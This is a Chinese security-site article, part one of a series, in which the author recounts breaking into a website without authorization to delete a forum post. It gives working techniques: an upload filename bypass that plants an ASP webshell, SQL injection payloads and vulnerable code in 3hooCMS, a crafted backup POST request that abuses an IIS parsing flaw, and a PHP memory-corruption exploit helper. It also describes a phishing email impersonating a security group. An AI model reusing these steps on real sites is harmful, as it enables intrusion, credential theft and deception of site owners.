首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
一次艰难的渗透纪实(上)
来源:humour327@163.com 作者:kyo327 发布时间:2012-06-08  

作者:    kyo327
EMail:   humour327@163.com
QQ:      10952989
日期:    2012-01-12

[ 目录 ]
0×00 前言
0×01 初期的探索
0×02 看到一点希望
0×03 从二级域名入手
0×04 调试php溢出漏洞
0×05 杀个回马枪
0×06 不成功的社工
0×07 V5的迂回战术
0×08 从再读cms源代码到后台getshell
0×09 asp登陆口嗅探变态的密码
0×0a突破星外+护卫神
0×0b php嗅探目标管理员密码
0×0cdiscuz!提示问题的阻碍
0×0d OllyDBG调试superdic并制作注册机
0×0e discuz!提示问题也是浮云,碰撞V5
0×0f后记

0×00 前言

随着互联网的迅速发展,越来越多的应用都转向B/S结构,因为它是跨平台的、易操作的、方便的、迅速的,这样不论用户使用什么样的操作系统,仅仅需要安装一个浏览器就能享受在线购物、网上支付、看电影、写博客等等各种各样便捷的服务,特别是WEB2.0时代的到来更增添了互联网的活力。但是这样就会导致越来越多的WEB安全问题的出现,比如sql注入、XSS、上传漏洞、弱口令、目录遍历等,虽然早在数十年前就被发现这些漏洞产生的根本原因,可它们却始终都没有退出历史的舞台,依然是WEB应用程序主要的安全问题。当然很多企业也开始越来越重视安全,但是仅仅依靠买网络安全产品、买防火墙之类是不能完全解决问题的。现在的企业安全最大问题就是不重视网络安全人才,导致搞安全的薪水不如挖煤窑的,或者纯粹的依靠安全产品代替网络安全人才。产品毕竟也是人写的,并且具有时效性,出了0day后,死的产品能立即做出安全措施吗?动辄就看见招聘做内核驱动的程序员年薪20万以上,这种状况让搞安全的情何以堪。并且搞安全也需要学习底层编程、C语言、perl、python、php、asp、.net、java、c++、调试漏洞、配置各种各样的web环境、熟练掌握od、ida、softice、windbg、软件破解、社工等等只要是跟互联网有一点关系都是必修之课,最关键还要时刻的学习新东西,要跟得上互联网的发展,否则就会被淘汰,有这么多的要求,我们容易吗?

我先感慨一下,在做网络安全这些年感觉一直在漂,从05年刚到北京的远东到08年的大连,再到09年的盛大,11年的启明,没有一个地方能让人感到是在踏实的做安全,对网络安全人才这块也都不重视。从圈内群的好友里得知,有很多技术水平很不错的朋友都闲置在家,为什么?我感觉国内的大环境都是这样的,所以出现了2011年底的各大网站密码泄露事件。我认为,泄露的那些库也只是九牛之一毛。在这个拿网络安全人才当民工的时代,也许这个事件算是给那些高傲的、高薪的程序员上的一堂课吧。

言归正传。因为快要当爸爸了,我终于离开了北京,在家闲着这段时间受一朋友之托要在某一个网站帮忙删一个帖子,于是开始了这次漫长的渗透之旅。

0×01初期的探索

在拿到目标www.111.com后,前期的侦查工作一定是要做充分的。我喜欢先从网站程序入手,这样如果找到突破口就可以迅速拿下。
通过初期的网站文件暴力猜解,扫描到robots.txt这个文件,有以下目录。如图1:

再通过对这些文件的访问,从3gadm.php文件的标题栏得到该网站采用的是diy-page8.3的cms,自然可以先用搜索引擎搜索该cms暴露的已知漏洞入手。我搜到的大概有三个版本别人分析的结果:一个是子仪的盲注exp,还有两个是来自t00ls的。由于该网站服务器安装有WEB防火墙,导致同一个IP不能多次连续的提交get或post请求,否则就被认为是非法的。这样一来盲注那个exp也就一直没有成功,而我测试使用t00ls小蟑螂那个exp时,在本机自己搭建环境的最新版本是成功的,但是目标仍然失败,我考虑也许是目标版本较低的原因。
由于后台文件admin.php被改名,同时也在进行着网站后台文件的暴力猜解中。不过也许我的字典文件不够大也不够好,结果很令人失望。并且该网站做了禁止普通用户注册、禁止普通用户登陆的安全措施,这样连传图片的权利也给封杀了。
再看他的论坛,毕竟要删的帖子是在论坛上的,但他使用的是最新版的
discuz! X2,因为我测试了2011年7月份那个漏洞不好使。
到这里该目标的网站程序方面大概有了些了解,但有用的信息不是很多。接着我用nmap扫描了web服务器的端口情况,只开了80,也许其他端口被防火墙K掉了吧。通过经验访问一个不存在目录,服务器返回如图2:

从图2看出,貌似是iis7.0或iis7.5,再用iiswrite.exe对网站发送一个head包,返回 Server: Microsoft-IIS/7.5,这样的话大概能确定该网站服务器操作系统应该是windows2008.
通过上面的分析,没有找到什么突破口,接下来大家都能想到,可以扫描一下他web服务器上都有哪些网站,从该服务器上的其他网站入手是大家一贯的手法,我也就不多说了。只是我是个苦命人啊,再次遇到cdn,无法简单的判断网站的真实IP。
关于cdn我在这里用简单的几句话科普一下,用户在自己的浏览器中输入要访问的网站的域名,网站主dns选择比较近的cdn服务商节点,并把请求的内容缓存到cdn节点服务器,再把cdn节点服务器ip返回给用户,最后用户再向给定的cdn接点请求网站内容。
我测试使用不同地区的vpn去ping网站域名,发现ip都不一样,后来通过google搜索他网站的相关帖子,发现有另外一个域名www.222.com显示相同的内容。再次用此域名进行旁注域名查询,总算有了真实的结果,如图3:

图3
但令人悲催的是,这几个域名最终全都指向了主网站和论坛。

0×02看到一点希望

由于www.222.com是直接指向论坛,而www.111.com指向cms,可以判断两个网站应该是不同的虚拟目录。于是我用自己写的扫描器对www.222.com进行了网站文件暴力猜解如图4:

图4
从图4中看到,总算有个信息泄露的问题了。
打开phpinfo.php得到如图5:

图5
从图5我得到了,目标操作系统是windows2008,php运行方式FASTCGI,PHP版本5.2.17,还有网站物理路径等等,让我眼前一亮的是iis7.5+FASTCGI在默认情况下,IIS处理请求的时候可能导致如nginx安全漏洞一样的问题,任何用户可以远程将任何类型的文件以PHP的方式去解析。
我马上找到一个该网站某个图片链接地址进行类似这样的请求:http://www.222.com/images/aaa.gif/kyo.php ,没有返回404,并且返回的http头状态码是200,这时我基本肯定了该漏洞的存在。我记得给好友小龙猪看过一眼,他说了一句话:这个站死定了。我也深信这一点,但我没想到后面的过程竟是如此艰难。
随后我带着喜悦的心情,迅速的在该论坛注册了账户,并急切的上传那个带着一句话php木马的美女图片,但结果仍然是令人沮丧的,论坛设置了所有附件传到另外一个文件服务器上,而那个文件服务器是windows2003,没有类似的bug,并且和目标不在一个C段。可这个漏洞却很诱人的,我还考虑到论坛显示帖子是html文件类型的,如果能在显示帖子的html里写入<?php phpinfo();?>倒也是可以利用的,只是<>总是被过滤为&lt; &gt;,主站的cms又禁止登陆,cms后台文件也无法找到,看来只能再换换别的思路了。

0×03从二级域名入手

每个做网络安全的应该都了解,在网络上每个人享受各种服务,上论坛,听音乐,网上支付,购物等等。最重要的就是自己的密码,而账号大多都是公开的,只要我们拥有目标的常用密码,就可以尝试他的其他网站的登录验证,因此我开始了从二级域名入手的打算,拿下后至少可以得到他的常用密码之一。

通过他本网站的链接和二级域名爆破查询工具,再加上自己的分析,我得到了target比较主要的一个二级域名为:a.111.com,仍然是一个比较成熟的、没有任何已知漏洞的cms的博客程序,值得庆幸的是,这个二级域名所在的服务器倒有十几个其他的网站,应该是虚拟主机,操作系统是win2003,同时支持php和asp.
我首先瞄上了一个站是:www.aaa.com,很轻松的扫描出他后台管理文件为:
http://www.aaa.com/admin/admin_index.php 直接把url在浏览器浏览发现他没有做严密的验证,后台一部分功能是可以使用的,如图6

图6
并且后台使用了FCKeditor,是最新版本,测试了这个编辑器的漏洞集合后无果,只能把希望寄托在图6的上传图片那里是否有问题了。这次还算顺利,我在vmware的winxp系统用WSockExpert.exe抓了一下上传的包,在一句话asp木马里添加下gif89a头,再在包的这里改为:
Content-Disposition: form-data; name=”article_img”; filename=”C:\aa.asp .gif”
用nc提交后即得到名为120107005538_53.asp的上传文件,也就拿到其webshell。如图7:

图7

其实这里上传的时候,web防火墙也拦了好几次,几乎杀了我95%的小马,最后只能请出独门暗器才躲过这bt的防火墙。后来才知道该虚拟主机使用的组合是【星外+护卫神.入侵防护专家】。

拿到www.aaa.com的webshell后,自然是想跨目录到a.111.com。而最新的星外+护卫神的确很有效,删除了wscript.shell、shellapplication等扩展,还不支持aspx,没有任何运行命令的可能。

0×04 调试php漏洞

我用phpinfo看了下www.aaa.com的web服务器的php版本是5.2.9-2。版本不高,我印象里php5.2.13以下的版本出过好几个漏洞,其中【PHP hash_update_file() Already Freed Resource Access Vulnerability】是比较著名的。于是我放下该站的webshell,找到这个漏洞公告和poc,准备调试一下这个漏洞,用它去执行命令,进而提升权限。

公告地址为:

http://php-security.org/2010/05/01/mops-2010-001-php-hash_update_file-already-freed-resource-access-vulnerability/index.html

我在vmware_winxp的apache+php环境里,用windbg附加进程httpd.exe,然后在浏览器打开这个漏洞的poc,发生异常,如图8:

图8

由图8可以看到发生问题的模块是php5ts.dll,发生问题的函数是php_hash_register.在这个函数偏移0x2bf处发生了异常。

显然php5ts.dll是php的核心解析器,php所有的功能都包含在它里面,不论什么操作系统运行php都少不了要加载它。从这里可以看出这个漏洞危害的范围很广,是跨平台的。至于漏洞发生的原因就不在这里调试叙述了。

现在看发生异常的位置是:

00a74fef ff5204 call dword ptr [edx+4] ds:0023:55555559=????????

Eip为0x00a74fef的地方,而poc第一句代码就是define(“OFFSET”, pack(“L”,0×55555555));把这个地址装入一个二进制串中。再看异常发生时的寄存器环境如图8中的edx=0×55555555,后来再通过调试确定开始的第一句代码的地址就是控制的edx寄存器。那么只要能在edx+4指向的地址装入精心构造的shellcode,就可以顺利溢出了。

后来和2yue聊天时告诉我,他发现了一种把另一个 php漏洞【PHP addcslashes() Interruption Information Leak Vulnerability】和这个漏洞结合起来利用的方法。后来我也证实了这个结果。以下是2yue的调试结果,我在这里和大家分享,希望他不介意。

“PHP addcslashes()信息泄露漏洞,他可以读出内存空间中的信息,在读出的信息中 ,从偏移0x10开始,保存了一个指针,而在该指针偏移0x20开始保存我们控制的变量的值。”

这样的话我们就可以用PHP addcslashes()漏洞找到放置shellcode的地址,再找到某个变量A的地址,在变量A的地方存放shellcode的地址,那么call [edx+4]就可以执行shellcode了。把那两个poc结合起来,最后那个hexdump()函数改成我们自己的找到偏移0x10指向的0×20的地址的函数,好像很绕口。

其实是很简单的一个功能,直接附上2yue写的这个函数。

function hexdump($x)

{

$ret_long = ord($x[0x13]) * 0x1000000 + ord($x[0x12]) * 0x10000 + ord($x[0x11]) * 0x100 + ord($x[0x10]);

$ret_long = $ret_long + 0x20;

return $ret_long;

}

只是里面的细节还需要调一调:例如要生成纯字母数字的shellcode,edx+4那个地方调一下等等,然后就可以用 metasploit生成我们想要的纯字母数字的shellcode了。
我在本机测试成功,如图9,当然还是要感谢2yue。

图9

在漏洞调试成功后的第2天,我准备用这个exp提权时,用菜刀连上我的webshell,谁知道却返回404.
我把www.aaa.com 输入浏览器后,返回如下信息,如图10

图10
从图10看到,那个昨天刚拿下的网站,今天域名就过期,我悲催的人生仍在延续,我能说什么呢。

0×05 杀个回马枪

我只能老老实实再杀回来,仔细分析虚拟主机上剩下的那几个网站了。那个悲催的站被关闭了之后剩下的不是discuz! X2 就是静态html的站,再不就是很知名的较新版本的无已知漏洞的cms了,就只有一个asp的站,地址为:http://www.bbb.com。也许这个站是唯一的突破口了,用后台扫描器很容易扫到后台是http://www.bbb.com/manage/ 如图11


图11
从图11很清晰的得到这个网站程序是3hooCMS V3 SP2,我搜了一下,没有找到这个版本的漏洞,较低的版本倒是有一个xss漏洞,并且也没有这个版本CMS的公开下载,我怀疑目标是商业版。我只找到3hooCMS_V2_SP2的下载。
下载完后我在vmware_win2003下搭了环境,开始分析其源代码。
经过一段时间的分析,我发现Search.Asp这个文件存在sql注入漏洞。
代码第9行到12行

Dim TplFileUrl,TplStr,Sql,Rs,rCid,Cid
SoKey=trim(request("sokey"))
page=request.QueryString("page")

第10行SoKey变量没有经过任何过滤传了进来。
第41到47行

if SoKey="" then
csql=""
filename="Search.Asp"
else
filename="Search.Asp?sokey="&SoKey
end if
sql="select * from [info] where "&LanguageSet&"Name like'%"&SoKey&"%' order by id desc;"

SoKey被当做搜索型变量传入sql语句中。
因此这里存在是一个搜索型的注入漏洞。
由于是已知的cms,其表名和字段名都不用猜了:
管理员表名:ScmsAdmin
用户名字段:username 密码字段:password .
选择好关键字直接在nbsi工具里跑吧。
很遗憾的是没有跑出任何结果,于是我在目标网站手工在搜索输入框里测试。
当输入33%’ and 1=1 and ‘%’='时查询出了一些结果。
而输入33%’ and 1=2 and ‘%’='时又没有任何结果。完全没有问题啊,sql语句肯定执行了,注入百分之百存在,但为什么就是跑不出来呢。我突然想到,也许新版本第10行代码应该是这么写的吧
SoKey=trim(request.form(“sokey”))
这是post提交方式哦,我马上变换成了post的扫描方式,终于得出了结果如图12

图12
得到加密的密码【fead0df1fe60103eaba454dd0a7e0842】后拿到cmd5解密,于是我悲催的运气再次降临,掏钱都无法解密。看来这年头不设置个10位以上字母+数字+特殊字符的密码都不好意思和别人打招呼啊。

0×06 不成功的社工

Md5密码破不出来其实是常有的事,不过也说明国内上网用户的安全意识也在一步步的提高。我考虑到既然他网站有这个注入漏洞,那么管理员即便改了密码,我仍然能通过SQL注入漏洞得到hash,如果他能改一个cmd5能破出来的简单的密码不就有希望了吗?于是我借用2011年底的网络安全密码泄露门事件,给管理员发了一封email。如图13:

图13
很不好意思,这里我借用了90sec.org的名义,因为我觉得90sec中有很多小孩的技术水平还是蛮高的,并且喜欢免费给某些网站提交漏洞。
Email发出去2天后,再次注入得出密码的hash,发现他没有修改。我也感觉此路不通,即便他修改了,很有可能密码还是很bt复杂的破不出来啊。
后来又想到去社工主网站www.111.com的管理员,询问他为什么主网站不能注册普通用户,也不能登录,是不是网站程序坏掉了。想借他们修复普通用户注册功能后,上传一个含有php木马的图片,再利用iis7.5的解析漏洞得到shell。但得到的答复是,他们就是专门禁止普通用户注册和登陆的。
罢了,我社工真的不擅长,不太会与人交互,还是靠自己吧.

0×07 V5的迂回战术

考虑到好不容易拿到http://www.bbb.com的hash,不能这么轻易放过这个站啊。于是想到看这个管理员有没有其他的站,通过拿下他自己的另外的站然后再得到其密码也是一个不错的选择。这就是所谓的迂回战术吧,我不从正面进攻了,我从你有弱点的地方进攻还不行嘛?

于是我根据他网站提供的信息,再加上whois查询、域名查询、谷歌、百度,终于发现这个管理员在其他虚拟机还存在三个类似的站分别是:

http://www.bbb1.com

http://www.bbb2.com

http://www.bbb3.com

虚拟主机操作系统同样是windows2003.令人兴奋的是这三个站与www.bbb.com使用的是同一套cms,都是3hooCMS V3 SP2.
利用我前面发现的sql注入漏洞很容易得到bbb1、bbb2两个站的后台管理员的密码hash都为【fead0df1fe60103eaba454dd0a7e0842】,和bbb.com是一样无法破解的。
第五次悲催的运气令我暂时放弃了一段时间。
又过了一天,我怀着百分之一的希望把www.bbb3.com也扫了一遍,但惊奇的是密码hash和其他三个都不一样,立刻拿到cmd5去破解,但需要花一毛钱才能破解。虽然国内企业不重视安全人才,把搞网络安全的薪水压的很低,但一毛钱我还是付的起的。如图14:

图14
就这样我拿到了www.bbb3.com管理员的密码。这下我感到形式一片大好,思路是这样:

  1. 通过进入bbb3.com的后台,得到一个webshell。
  2. 再从webshell里通过提权跨目录到bbb2.com。
  3. 改写bbb2.com的后台登陆后代码,嗅探其明文密码。
  4. 同步进行ftp密码的破解,顺便去尝试bbb.com的ftp。

至此我感觉这个迂回的战术还算威武吧。

0×08 从再读cms源代码到后台getshell

进入www.bbb3.com后台后,尝试了上传的地方,又看了源代码,发现没什么漏洞,他严格检测了后缀并以时间格式强制改了上传后的文件名。应该是较成熟的上传代码。而网站设置那块是写入数据库的。唯一可能出问题的地方也就是数据库备份这里了。如图15:


图15
从图15得知数据库的路径和后缀,不过看着诱人的asa后缀,却做好了防下载处理,我利用asp小马代码入库的方式来测试,发现#Data23%base#.asa是无法执行asp的。
只剩下备份这里容易出问题了。
大家肯定是这样想的,上传一个带一句话asp木马的图片,然后备份这个图片为asp不就完事了吗?
但悲催的是有以下几个问题需要解决:

  1. 当前数据库路径输入框这里和备份数据库名称输入框这里都是只读的,无法更改。
  2. 即便备份为a.asp;a.jpg也不可执行(我后来才知道,可能是防火墙拦截的原因)。

第一个问题好处理,客户端的一切防御手段都是浮云。一个readonly能阻挡我这个久经沙场的老将吗?不论是把其htm存下来,把action完整路径附上提交,还是用firefox的插件,再或是用国外的神器burpsuite,都能轻松绕过。

至于第二个问题,我发现肯定备份出了a.asp;a.jpg类型的文件,可是用浏览器访问却总是出现恶心的404错误。

我只能再看其cms源代码,看他备份这里到底是如何处理的。

看了一会儿后,如愿以偿的发现了问题,漏洞文件为Admin_DataBackup.asp

代码65—83行代码如下:

sub backupdata()
Dbpath=request.form("Dbpath")
Dbpath=server.mappath(Dbpath)
bkfolder=request.form("bkfolder")
bkdbname=request.form("bkdbname")
Set Fso=server.createobject("scripting.filesystemobject")
if fso.fileexists(dbpath) then
If CheckDir(bkfolder) = True Then
fso.copyfile dbpath,bkfolder& "\"& bkdbname & ".mdb"
else
MakeNewsDir bkfolder
fso.copyfile dbpath,bkfolder& "\"& bkdbname & ".mdb"
end if
response.write "<center>备份数据库成功,备份的数据库路径为 " & bkfolder & "\" & bkdbname & ".mdb</center>"
response.write "<center><a href='Databackup\" & bkdbname & ".mdb' a>下载本次备份数据库到本地</a></center>"
Else
response.write "找不到您所需要备份的文件。"
End if
end sub

第68行 bkfolder=request.form(“bkfolder”) 没有对目录名做过滤。

而request.form(“bkfolder”)是从第37行这句代码传过来的。

<td height=”22″><input type=”hidden” size=50 name=bkfolder value=Databackup ></td>

说明默认情况下bkfolder= Databackup这个目录。

第72到76行,是说检测bkfolder这个目录是否存在,如果不存在就调用

MakeNewsDir bkfolder 这个函数。

再看98—103行代码如下:

Function MakeNewsDir(foldername)

Set fso1 = CreateObject(“Scripting.FileSystemObject”)

Set f = fso1.CreateFolder(foldername)

MakeNewsDir = True

Set fso1 = nothing

End Function

直接调用fso创建一个没有过滤的参数的文件夹。

这时大家可能都想到了,那么如果我们上传的时候抓包,把默认的文件夹Databackup改为kyo.asp,那不就创建了一个kyo.asp的文件夹吗?这样配合iis6.0的漏洞将可以成功执行我的美女图片asp木马。

实战当中也是这样的,把抓的包改为这样的形式,再用nc提交就KO了。

POST /manage/Admin_DataBackup.asp?action=Backup HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, application/vnd.ms-excel, application/vnd.ms-powerpoint, */*

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)

Host: www.bbb3.com

Content-Length: 77

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: ASPSESSIONIDSATTCRQC=LFGDIANCDLPBPGNJNCMPKEIM; Scms%5FVerifyCode=9109

DBpath=..%2FUpLoadFile%2F20120112012046769.jpg&bkfolder=kyo.asp&bkDBname=data

那么备份成功后,菜刀提交url路径类似于这样:

http://www.bbb3.com/manage/kyo.asp/data.mdb

至此也算拿下了一个webshell,万里长征又进了一步。

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·一次艰难的渗透纪实(下)
·跨域Math.random()随机数预测攻
·利用 PHP 扩展模块突破 Disable_
·在线订单站的一些渗透思路和后门
·通过Zend目录权限不严获取执行权
·servu/serv-u通过替换servudaemo
·如何干掉一个黑客
·简单实现webshell root
·如何渗透测试WordPress网站
·中间人攻击-DNS欺骗
·metasploit的pivot实例详解
·php mysql注入的一种快速有效uni
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved